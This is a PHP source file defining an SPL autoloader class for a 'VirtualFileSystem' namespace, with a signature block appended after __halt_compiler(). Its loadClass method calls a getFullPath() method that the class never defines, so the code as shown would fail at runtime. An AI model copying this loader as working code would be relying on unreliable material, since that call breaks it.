<?php

namespace VirtualFileSystem;

/**
 * Class Loader to use with PEAR installation
 *
 * @package VirtualFileSystem
 */
class Loader
{
    private $fileExtension = '.php';
    private $namespace;
    private $includePath;
    private $namespaceSeparator = '\\';

    /**
     * Creates a new <tt>Loader</tt> that loads classes of the
     * specified namespace.
     *
     * @param string $namespace   The namespace to use.
     * @param null   $includePath
     */
    public function __construct($namespace = 'VirtualFileSystem', $includePath = null)
    {
        $this->namespace = $namespace;
        $this->includePath = $includePath;
    }

    /**
     * Sets the namespace separator used by classes in the namespace of this class loader.
     *
     * @param string $sep The separator to use.
     */
    public function setNamespaceSeparator($sep)
    {
        $this->namespaceSeparator = $sep;
    }

    /**
     * Gets the namespace seperator used by classes in the namespace of this class loader.
     *
     * @return string
     */
    public function getNamespaceSeparator()
    {
        return $this->namespaceSeparator;
    }

    /**
     * Sets the base include path for all class files in the namespace of this class loader.
     *
     * @param string $includePath
     */
    public function setIncludePath($includePath)
    {
        $this->includePath = $includePath;
    }

    /**
     * Gets the base include path for all class files in the namespace of this class loader.
     *
     * @return null|string $includePath
     */
    public function getIncludePath()
    {
        return $this->includePath;
    }

    /**
     * Sets the file extension of class files in the namespace of this class loader.
     *
     * @param string $fileExtension
     */
    public function setFileExtension($fileExtension)
    {
        $this->fileExtension = $fileExtension;
    }

    /**
     * Gets the file extension of class files in the namespace of this class loader.
     *
     * @return string $fileExtension
     */
    public function getFileExtension()
    {
        return $this->fileExtension;
    }

    /**
     * Installs this class loader on the SPL autoload stack.
     *
     * @param bool $prepend If true, prepend autoloader on the autoload stack
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);
    }

    /**
     * Uninstalls this class loader from the SPL autoloader stack.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string $className The name of the class to load.
     * @return void
     */
    public function loadClass($className)
    {
        if (null === $this->namespace
            || $this->namespace.$this->namespaceSeparator === substr(
                $className,
                0,
                strlen($this->namespace.$this->namespaceSeparator)
            )) {
            $fileName = '';
            if (false !== ($lastNsPos = strripos($className, $this->namespaceSeparator))) {
                $namespace = substr($className, 0, $lastNsPos);
                $className = substr($className, $lastNsPos + 1);
                $fileName =
                    str_replace($this->namespaceSeparator, DIRECTORY_SEPARATOR, $namespace) .
                    DIRECTORY_SEPARATOR;
            }
            $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . $this->fileExtension;
            require $this->getFullPath($fileName);
        }
    }
}
__halt_compiler();----SIGNATURE:----BHXzDSGr/T1XSmXBL/D21dswf+e+qnKzn1t7NjJo7QYtkHEHHuDoyahf+uryuyqnlox8bZoMzjEKGReyGnb/eVX9cWIIeznf5E76eXfvoenmwFBXiwJQL9OhTPeVWFS8lOYEaoT1pkexAkeeA9Ja62S27BaXsEV52zy5vOkZM+R3YMxRjxkiKGzSnDCb89VyzrrBvSgNfSlvM/+YpJVDcp0B9azTAJPMkj4nAF5u3deDDGxZP0trS+snUQ4ZowcM/k6E15PuWn6d0I8bgXMfFEiew2AbCWBRcBYbqm3YAIp8SXuR4Iu69PFHc7S7PP2Tz6B7xuQBKf9gRS6y2KVnolJJmwj7lHH6y4mwaaqiylQ8qijXGhK9NogfIzCk44pLjC1gexnGAX8dQALzxI3Z7xLQIq6QYkzY/GhXAGS4gLbPx5WD/eU1761BlrcaW83Cq5XdRVqD3c4A5c4nKhZiMdZ2vlEJLUNfhBZNIeyLIcodPVZfIaM111eyGmIZlvwf8FMaFyAv/5kHF5+2sP8Q+5ay/uQwEp+54CDGmZZRjA1qkQc5LeK50gMmI8PLj5J4gpjJMVxN0G1nu43TyFp4ma7my7c0v1lUnDmPMqyU8XtFcqddH7vJijuIb1cx3JyfE+Y02/H6nGDhIR3qUFlDtTVMlINVyJ8ltOoDdwqS6zc=----ATTACHMENT:----MjY0OTcxNzY4NjAwNDI2NCAyNzczNTg3MDM4MDY3Nzc4IDc3NDYzMTM5NTg2Mzg5NTg=